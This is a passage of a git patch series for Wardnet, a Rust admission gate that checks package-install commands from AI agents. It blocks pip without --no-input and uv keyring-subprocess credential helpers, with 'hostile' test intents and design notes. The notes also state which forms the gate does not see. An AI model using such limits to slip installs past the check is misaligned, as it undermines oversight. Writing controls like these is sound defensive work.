`--no-input`. +pub(crate) fn misses_required_noninteractive_mode(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + !arguments.iter().any(|argument| argument == "--no-input") +} From 87ed2bb041f5a7c8c96bc8cb38933549cc748511 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 07:20:08 +0900 Subject: [PATCH 350/702] fix(security): wire noninteractive pip admission --- crates/agent-artifact-admission/src/lib.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index bed87dc8..2a50a97a 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -16,6 +16,7 @@ mod pypi_install_mutation_authority; mod pypi_install_report_authority; mod pypi_keyring_provider_authority; mod pypi_log_output_authority; +mod pypi_noninteractive_authority; mod pypi_proxy_authority; mod pypi_system_package_authority; mod uv_configuration_authority; @@ -138,6 +139,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if pypi_noninteractive_authority::misses_required_noninteractive_mode(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { if !decision .reason_codes From 85fbf8df45e16d8e8980dba655e670232bdc8bbe Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 07:35:24 +0900 Subject: [PATCH 351/702] test(security): adopt pip noninteractive invariant in source baseline --- .../tests/pypi_artifact_source_identity_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index f9f21cd3..72ef57b0 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -98,6 +98,7 @@ fn approved_pypi_intent(artifact_argument: &str) -> InstallIntent { artifact_argument.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: MANIFEST_SHA256.to_string(), source: InstructionSource { From e511c35c1dac203b6669dc0d6558a52e5bf88395 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 07:39:38 +0900 Subject: [PATCH 352/702] test(security): adopt pip noninteractive invariant across baselines --- .../tests/pypi_artifact_variant_contract.rs | 1 + .../tests/pypi_break_system_packages_authority_contract.rs | 1 + .../tests/pypi_cache_dir_authority_contract.rs | 1 + .../tests/pypi_certificate_store_trust_contract.rs | 1 + .../tests/pypi_dependency_cardinality_contract.rs | 3 +++ .../tests/pypi_force_reinstall_authority_contract.rs | 1 + .../tests/pypi_ignore_installed_authority_contract.rs | 1 + .../tests/pypi_install_report_authority_contract.rs | 1 + .../tests/pypi_log_output_authority_contract.rs | 1 + .../tests/pypi_proxy_authority_contract.rs | 1 + 10 files changed, 12 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 45281c2d..5bc01876 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -119,6 +119,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ]) } diff --git a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs index c3f54a8c..3d4ccfbb 100644 --- a/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_break_system_packages_authority_contract.rs @@ -97,6 +97,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs index f940c31c..1b120034 100644 --- a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs @@ -85,6 +85,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs index 7d53796d..273cbfc6 100644 --- a/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_certificate_store_trust_contract.rs @@ -127,6 +127,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { ARTIFACT_ARGUMENT.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs index 85c4ed17..ac31c923 100644 --- a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -87,6 +87,9 @@ fn approved_pypi_install( ], }; argv.push("--require-hashes".to_string()); + if matches!(executable, "pip" | "pip3") { + argv.push("--no-input".to_string()); + } if include_no_deps { argv.push("--no-deps".to_string()); } diff --git a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs index 7074dd6c..239878ff 100644 --- a/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_force_reinstall_authority_contract.rs @@ -89,6 +89,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs index 61d15611..30d4864a 100644 --- a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs @@ -86,6 +86,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs index a2afbf82..048cfd25 100644 --- a/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_install_report_authority_contract.rs @@ -85,6 +85,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs index bf100126..da42a545 100644 --- a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -89,6 +89,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index 2e8262d1..7a24d182 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -134,6 +134,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { ARTIFACT_ARGUMENT.to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-input".to_string(), ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { From f3fe5262af0e9ffc0fad7808f6ea3ed978ad0da6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:03:14 +0900 Subject: [PATCH 353/702] docs(security): trace pip noninteractive credential authority --- ...ypi-noninteractive-credential-authority.md | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 docs/doctoring/pypi-noninteractive-credential-authority.md diff --git a/docs/doctoring/pypi-noninteractive-credential-authority.md b/docs/doctoring/pypi-noninteractive-credential-authority.md new file mode 100644 index 00000000..2767bd98 --- /dev/null +++ b/docs/doctoring/pypi-noninteractive-credential-authority.md @@ -0,0 +1,47 @@ +# PyPI noninteractive credential authority + +Verified 2026-09-11. This note documents why Wardnet Agent Artifact Admission requires direct `pip` and `pip3 install` intents to include the canonical `--no-input` token before an allow decision can be returned. + +## Problem and security boundary + +An exact package name, version, registry, owner assertion, digest, reviewed manifest and `--require-hashes` do not by themselves bound credential discovery. pip's authentication layer can consult ambient credential mechanisms independently of artifact identity. Wardnet owns only the pre-execution admission verdict and evidence for the submitted installer intent; it does not obtain credentials, perform package-network I/O, install artifacts, or execute them. Keyverse remains the credential/identity backend, EgressWeave remains reusable outbound-transport authority, and `quarantine-sandbox-runtime` remains hostile execution/isolation authority. + +## Primary evidence + +The pip 26.2.1 authentication documentation states that the default keyring provider is `auto`; when `--no-input` is present, `auto` does not query keyring, while without that option it may try the import and subprocess providers before falling back to disabled. The same documentation warns that keyring backends can require user interaction. In the pinned upstream source used for this decision (`pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/network/auth.py`), `MultiDomainBasicAuth.use_keyring` is true whenever prompting remains enabled, and the `auto` provider can first import ambient Python `keyring` and then discover a `keyring` executable through `PATH`. + +Therefore an otherwise reviewed direct pip intent that omits `--no-input` retains ambient/interactively mediated credential authority not represented by `ApprovedArtifact` or the reviewed workspace manifest. Wardnet fails that intent closed rather than attempting to emulate pip's complete authentication state machine. + +## Decision + +For direct `pip install` and `pip3 install` only: + +- the exact token `--no-input` is mandatory; +- omission yields the existing stable `missing_safety_flag` reason and a block decision; +- look-alike or assigned forms do not satisfy the guard; +- explicit credential-provider expansion remains separately governed by `pypi_keyring_provider_authority`; +- uv is not silently included in this rule because its CLI/authentication contract is versioned and reviewed separately. + +This is intentionally a minimum causal control. It does not claim that `--no-input` proves retrieved artifact bytes, credential provenance, transport authorization, or runtime isolation. Those remain independently verified owner responsibilities. + +## Executable evidence + +`tests/pypi_noninteractive_authority_contract.rs` proves both hostile and positive cases for `pip` and `pip3`: an otherwise approved direct install without `--no-input` blocks with `missing_safety_flag`, while the same exact reviewed intent with canonical `--no-input` remains admissible. Positive direct-pip fixtures in the existing PyPI authority suite carry the same invariant so a future policy change cannot accidentally preserve stale permissive baselines. + +The test-first lineage is recorded on Wardnet PR #283: test-only RED `124e1eb2cce935d83d302b265633a6d6c62482cf`, followed by the focused classifier and fixture-adoption repairs. Remote workflow results are valid only for the exact current PR head; predecessor runs are historical evidence after any source or documentation movement. + +## Alternatives considered + +Allowing pip's default interactive behavior was rejected because the decision would authorize credential-discovery capability absent from the reviewed intent. Reproducing pip's keyring/configuration precedence inside Wardnet was rejected because it would create a second package-client authentication authority and would drift as pip evolves. Forcing a particular credential backend was rejected because credential selection belongs outside this admission bounded context. + +## Risks and follow-up + +`--no-input` narrows one ambient credential path but does not neutralize every pip configuration or environment-controlled trust expansion. Each independently demonstrated authority expansion should receive its own hostile RED and minimum classifier rather than broad parser imitation. In particular, uv credential-provider and certificate-store controls are tracked separately so direct-pip semantics are not generalized across executable families without primary evidence. + +## APA 7 references + +Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A + +pip developers. (2026). *Authentication: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/topics/authentication/ + +pip developers. (2026). *Network authentication helpers* [Source code, commit 2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5]. GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/network/auth.py From 85b7b55648f29dc45a38dd01134583610fb0952f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:26:51 +0900 Subject: [PATCH 354/702] test(security): prove uv subprocess keyring authority escapes admission --- .../uv_keyring_provider_authority_contract.rs | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs new file mode 100644 index 00000000..05ec8a56 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -0,0 +1,87 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_uv_install_cannot_delegate_credentials_to_keyring_subprocess() { + let (policy, control_intent) = approved_uv_install(); + let control = admission_decision(&policy, &control_intent); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding credential-helper authority" + ); + + let mut hostile = control_intent; + hostile + .argv + .push("--keyring-provider=subprocess".to_string()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv subprocess keyring delegates credential lookup to a PATH-resolved helper outside the reviewed artifact authority" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "uv subprocess keyring authority must carry the stable alternate_trust_root reason" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-11.9".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-keyring-provider-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 9ce55e3f999932a041610bb7e67e47f406a4e9a6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:40:32 +0900 Subject: [PATCH 355/702] fix(security): deny uv subprocess keyring authority --- .../src/pypi_keyring_provider_authority.rs | 54 +++++++++++-------- 1 file changed, 32 insertions(+), 22 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 5a53746e..3d192262 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -1,46 +1,56 @@ use crate::InstallIntent; -/// Return whether a direct pip install delegates credential lookup to a caller-selected provider. +/// Return whether a supported PyPI installer delegates credential lookup to a caller-selected provider. pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - let arguments = &intent.argv[1..]; - if !arguments - .first() - .is_some_and(|argument| argument == "install") - { - return false; - } - arguments + let (provider_arguments, pip_compatible_abbreviation, import_expands_authority) = match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + (&arguments[1..], true, true) + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + (&arguments[2..], false, false) + } + _ => return false, + }; + + provider_arguments .iter() .enumerate() - .skip(1) .any(|(index, argument)| { let (option, attached_value) = argument .split_once('=') .map_or((argument.as_str(), None), |(flag, value)| { (flag, Some(value)) }); - if !is_keyring_provider_option(option) { + if !is_keyring_provider_option(option, pip_compatible_abbreviation) { return false; } attached_value - .or_else(|| arguments.get(index + 1).map(String::as_str)) - .is_some_and(expands_keyring_authority) + .or_else(|| provider_arguments.get(index + 1).map(String::as_str)) + .is_some_and(|provider| { + provider == "subprocess" || (import_expands_authority && provider == "import") + }) }) } -fn is_keyring_provider_option(argument: &str) -> bool { - argument.starts_with("--k") && "--keyring-provider".starts_with(argument) -} - -fn expands_keyring_authority(provider: &str) -> bool { - matches!(provider, "import" | "subprocess") +fn is_keyring_provider_option(argument: &str, pip_compatible_abbreviation: bool) -> bool { + if pip_compatible_abbreviation { + argument.starts_with("--k") && "--keyring-provider".starts_with(argument) + } else { + argument == "--keyring-provider" + } } From fca4c79151c1ae88cf36414e97d63ffd6ac4d0ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:41:17 +0900 Subject: [PATCH 356/702] test(security): cover uv keyring provider forms --- .../uv_keyring_provider_authority_contract.rs | 32 ++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index 05ec8a56..0eab0e49 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -18,7 +18,37 @@ fn approved_uv_install_cannot_delegate_credentials_to_keyring_subprocess() { .argv .push("--keyring-provider=subprocess".to_string()); - let decision = admission_decision(&policy, &hostile); + assert_alternate_trust_root_block(&policy, &hostile); +} + +#[test] +fn separate_uv_subprocess_provider_carries_credential_authority_reason() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv.extend([ + "--keyring-provider".to_string(), + "subprocess".to_string(), + ]); + + assert_alternate_trust_root_block(&policy, &hostile); +} + +#[test] +fn explicit_disabled_uv_keyring_provider_preserves_reviewed_baseline() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--keyring-provider=disabled".to_string()); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Allow, + "explicitly retaining uv's disabled keyring baseline must not expand credential authority" + ); +} + +fn assert_alternate_trust_root_block(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); assert_eq!( decision.decision, DecisionKind::Block, From 485436224034b47f31f2f08f70b3b6903b648ac1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:42:20 +0900 Subject: [PATCH 357/702] docs(security): trace uv keyring admission authority --- .../uv-keyring-provider-authority.md | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 docs/doctoring/uv-keyring-provider-authority.md diff --git a/docs/doctoring/uv-keyring-provider-authority.md b/docs/doctoring/uv-keyring-provider-authority.md new file mode 100644 index 00000000..6191cc03 --- /dev/null +++ b/docs/doctoring/uv-keyring-provider-authority.md @@ -0,0 +1,67 @@ +# uv subprocess keyring credential authority + +Status: Proposed implementation evidence on Draft #287. This note is not protected or released truth until the effective delta reaches protected `main`. + +## Decision + +Wardnet treats caller-selected `uv pip install --keyring-provider subprocess` as an expansion of credential/trust authority and blocks it before execution with the existing stable `alternate_trust_root` reason. The ordinary uv baseline remains admissible, and explicit `--keyring-provider=disabled` does not expand authority. + +This decision is deliberately limited to Wardnet's structured installer-intent admission boundary. Wardnet does not execute `keyring`, inspect `PATH`, read credentials, select runtime environment configuration, or authorize network transport. Keyverse remains the credential/identity backend; `quarantine-sandbox-runtime` remains effective runtime/environment and hostile-execution authority; EgressWeave remains executable outbound transport/TLS authority. + +## Problem and threat model + +Astral's current uv documentation states that keyring authentication is disabled by default and that uv supports only the `subprocess` keyring provider. The subprocess provider invokes the `keyring` command to obtain credentials. Consequently, a caller can keep the reviewed package name/version/registry/hash and dependency cardinality unchanged while adding a new PATH-resolved credential-helper execution dependency through argv. + +For Agent Artifact Admission, that is a material authority change: the reviewed artifact coordinate does not itself authorize the identity, behavior or credential sources of an ambient helper executable. Allowing the selector would let execution-time environment state decide part of authentication outside the reviewed installer intent. + +## Alternatives considered + +### Allow uv's provider selector and delegate all enforcement downstream + +Rejected. Quarantine and EgressWeave own runtime isolation and transport, but Wardnet still owns whether the structured install intent is admissible. Deferring an argv-visible authority expansion would make admission receipts overstate what was reviewed. + +### Resolve and attest the `keyring` executable inside Wardnet + +Rejected. PATH resolution, process execution and effective environment inspection belong to the runtime boundary, not the admission policy evaluator. Pulling those capabilities into Wardnet would duplicate quarantine/Keyverse responsibilities and make a deterministic policy decision depend on ambient state. + +### Block all `--keyring-provider` values + +Rejected. uv's default is disabled, and explicitly retaining `disabled` adds no credential-helper authority. A value-sensitive classifier is narrower and preserves a safe reviewed baseline. + +### Reuse pip-compatible option abbreviation matching for uv + +Rejected. The existing direct-pip classifier intentionally recognizes pinned pip parser abbreviations. uv's CLI is a different grammar. Wardnet matches the exact uv option name rather than assuming pip abbreviation behavior. + +## RED → GREEN evidence + +Canonical parent #129 is `341a3e05a614654536431eda8e553585b2533886`. + +Test-only #287 head `85b7b55648f29dc45a38dd01134583610fb0952f` changed only `crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs`; production source remained byte-identical to the parent. Parent CI `34542090175` is terminal success. Child CI `34542208606`, rust job `103087106839`, later acquired hosted `ubuntu-24.04` runner `1001872102`, passed checkout/toolchain/format, then failed in the Test step. Because the only child delta was the new admission contract and the exact parent suite was green, this is the required hosted semantic RED for the uv subprocess-keyring authority gap; Fuzz `34542208653` is terminal success on the test-only head. + +The minimum production repair commit `9ce55e3f999932a041610bb7e67e47f406a4e9a6` extends the existing PyPI keyring-provider authority classifier to the admitted `uv pip install` command path. It preserves direct pip/pip3 abbreviation and `import|subprocess` behavior, but uv matches only the exact `--keyring-provider` option and treats only `subprocess` as authority-expanding. Follow-up test commit `fca4c79151c1ae88cf36414e97d63ffd6ac4d0ca` covers attached subprocess, separate-value subprocess reason classification and explicit attached `disabled` preservation. + +Exact-head GREEN must be recorded only after the current `fca4c791...` (or a later causally necessary head) passes hosted formatting, locked workspace tests, strict Clippy, Fuzz and the then-live security/static-analysis gates. Predecessor results do not transfer after head movement. + +## Security properties and limits + +- Admission is fail-closed for the argv-visible subprocess provider. +- The decision uses the existing `alternate_trust_root` reason rather than inventing a parallel credential taxonomy. +- Wardnet performs no helper discovery or credential access. +- Environment/config forms such as `UV_KEYRING_PROVIDER` remain effective runtime/configuration authority and must be constrained by the canonical runtime boundary; Wardnet does not claim to observe them from this structured argv contract. +- The admission receipt remains evidence of pre-execution policy only, not proof of retrieved bytes, runtime isolation, transport authorization or activation. + +## Traceability + +Astral. (2026). *Compatibility with pip: Registry authentication*. uv. https://docs.astral.sh/uv/pip/compatibility/ + +Astral. (2025). *HTTP credentials*. uv. https://docs.astral.sh/uv/concepts/authentication/http/ + +National Institute of Standards and Technology. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile* (NIST SP 800-218A). https://doi.org/10.6028/NIST.SP.800-218A + +National Institute of Standards and Technology. (2025). *Security and privacy controls for information systems and organizations, Release 5.2.0* (NIST SP 800-53 Rev. 5). Relevant least-privilege and authenticator-management controls include AC-6 and IA-5. https://csrc.nist.gov/projects/risk-management/sp800-53-controls + +MITRE. (2025). *CWE-15: External control of system or configuration setting*. https://cwe.mitre.org/data/definitions/15.html + +## Follow-up + +After exact hosted GREEN, verify current reviews/threads and base compatibility, then integrate #287 into #129 by ordinary expected-head merge. Reacquire the canonical #129 gates on its new exact head before starting the serialized #285/#286 source lanes. Keep #284 open until the effective delta reaches protected `main`. \ No newline at end of file From 7121333b2f37eb6a721e730c9c91a1f29dff63c1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 08:53:03 +0900 Subject: [PATCH 358/702] test(security): fail closed on unknown uv keyring providers --- .../uv_keyring_provider_authority_contract.rs | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index 0eab0e49..6a2033d2 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -32,6 +32,16 @@ fn separate_uv_subprocess_provider_carries_credential_authority_reason() { assert_alternate_trust_root_block(&policy, &hostile); } +#[test] +fn unknown_non_disabled_uv_keyring_provider_fails_closed() { + let (policy, mut hostile) = approved_uv_install(); + hostile + .argv + .push("--keyring-provider=import".to_string()); + + assert_alternate_trust_root_block(&policy, &hostile); +} + #[test] fn explicit_disabled_uv_keyring_provider_preserves_reviewed_baseline() { let (policy, mut intent) = approved_uv_install(); @@ -52,14 +62,14 @@ fn assert_alternate_trust_root_block(policy: &AdmissionPolicy, intent: &InstallI assert_eq!( decision.decision, DecisionKind::Block, - "uv subprocess keyring delegates credential lookup to a PATH-resolved helper outside the reviewed artifact authority" + "any caller-selected non-disabled uv keyring provider must fail closed instead of inheriting new credential-helper authority after a client capability change" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_trust_root"), - "uv subprocess keyring authority must carry the stable alternate_trust_root reason" + "uv keyring-provider expansion must carry the stable alternate_trust_root reason" ); } From c64b3fe6232638a1baec922b3b30f9466b5ae014 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:05:14 +0900 Subject: [PATCH 359/702] style(test): apply rustfmt to uv keyring regression --- .../tests/uv_keyring_provider_authority_contract.rs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index 6a2033d2..56bf3df8 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -35,9 +35,7 @@ fn separate_uv_subprocess_provider_carries_credential_authority_reason() { #[test] fn 